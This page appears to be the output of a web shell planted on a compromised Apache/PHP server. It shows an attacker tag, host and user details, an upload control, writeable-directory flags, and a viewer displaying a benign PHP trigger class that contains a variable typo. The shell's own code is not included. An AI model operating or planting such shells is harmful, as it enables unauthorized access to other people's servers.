Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/abricot/includes/class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/abricot/includes/class/class.trigger.php
<?php

class TTrigger {
	
	function __construct() {
		$this->TTrigger=array();
		
		
	}
	function execute(&$ATMdb, &$object, $className, $state) {
		
	}
	function run(&$ATMdb, &$object, $className, $state) {
		/* Execute les triggers */
		//print "Exécution du trigger ($className, $state)<br>";
		if(empty( $this->TTrigger )) { $this->loadTrigger($ATMdb); }
		
		foreach($this->TTrigger as $trigger) {
			
			if(is_file($triger['path'])) {
				require_once($triger['path']);
				
				if(class_exists($trigger['objectName'])) {
					
					$t = new $trigger['objectName'];
					
					if(method_exists($t,'execute')) {
						$t->execute($ATMdb, $object, $className, $state); 
					}
					
				}
			}
		}
		
	}
	
	function register(&$ATMdb, $path, $objectName) {
		/* Enregistre un nouveau trigger avec le chemin Ă  charger et la method Ă  appeler */
		
		//TODO add db
		
		$this->TTrigger[]=array('path'=>$path, 'objectName'=>$objectName);
		
	}
	function loadTrigger(&$ATMdb) {
		/* Charge la liste des triggers à exécuter */
		$this->TTrigger=array();
		
		
		return $this->TTrigger;
	}
}

Hry